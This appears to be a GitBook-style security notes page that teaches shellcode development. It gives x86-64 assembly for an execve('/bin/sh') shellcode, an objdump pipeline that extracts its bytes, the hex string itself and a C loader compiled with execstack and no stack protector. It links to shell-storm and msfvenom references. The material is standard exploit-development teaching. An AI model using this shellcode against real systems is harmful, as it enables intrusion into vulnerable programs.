Skip to content

Latest commit

 

History

History
129 lines (83 loc) · 3.8 KB

File metadata and controls

129 lines (83 loc) · 3.8 KB
description cover coverY
10/17/2023
0

🐚 Shellcode

Introduction

Shellcode is a set of instructions that are injected by the user and executed by the binary.

It is usually within the "payload" of our exploit code.

Essentially, shellcode can allow us, attackers, to implement and execute code that never existed in the original binary.

How can I make shellcode?

  • C
  • Python
  • x86 Assembly
  • Hex strings

How does it work?

Upon analyzing shellcode, you will come to notice that shellcodes utilize system calls, or syscalls.

What are syscalls?

These provide a way of requesting services from the kernel.

It allows a program to be able to interact with the underlying operating system the binary is existent on.

They are a way of communicating directly with the kernel and are the only entry point to the OS's kernel.

What can they do?

Syscalls exist in two primary forms, process control and file management.

We can end, terminate, create, allocate, and free memory with process control syscalls.

We can create, open, close, delete, and read files with file management syscalls.

Shellcode Development

By following this methodology, we can create our own shellcode!

Create shellcode in Assembly, hexdump (objdump/carve out with grep/sed), and convert our shellcode into a hex string. So, opcodes -> hexstring.

Development

shell.s:

SECTION .text
    global _start
_start:
    mul esi
    push rax
    mov rdi, "/bin/sh"
    push rdi
    mov rdi, rsp
    mov al, 59
    syscall

Note:

What is the 59 you might ask? That is the syscall number for execve() that will execute /bin/sh.

Assemble and link:

nasm shell.s -f elf64 && ld shell.o -o shell

We can now execute this file and it will grant us a shell!

Carving out Shellcode From our ASM Binary

{% code overflow="wrap" fullWidth="false" %}

objdump -d ./shell|grep -e '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

"\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x73\x68\x00\x57\x48\x89\xe7\xb0\x3b\x0f\x05"

{% endcode %}

We now have a hex string that we can pass into a char buffer in C and call in a C program.

poc.c:

#include <stdio.h>
#include <unistd.h>

unsigned char shellcode[] =
"\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x73\x68\x00\x57\x48\x89\xe7\xb0\x3b\x0f\x05";

int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

Compile:

gcc poc.c -o poc -z execstack -fno-stack-protector -no-pie

Side Note:

Also, you can append __attribute__((section(".text"))) to the hexstring and it will "force" the hexstring into the .text section of the ELF binary.

Shell-Storm

{% embed url="https://shell-storm.org/shellcode/files/shellcode-603.html" %}

{% embed url="http://shell-storm.org/shellcode/files/shellcode-806.html" %}

msfvenom

{% content-ref url="../../malware-development/code-and-process-injection/generating-shellcode-w-msfvenom.md" %} generating-shellcode-w-msfvenom.md {% endcontent-ref %}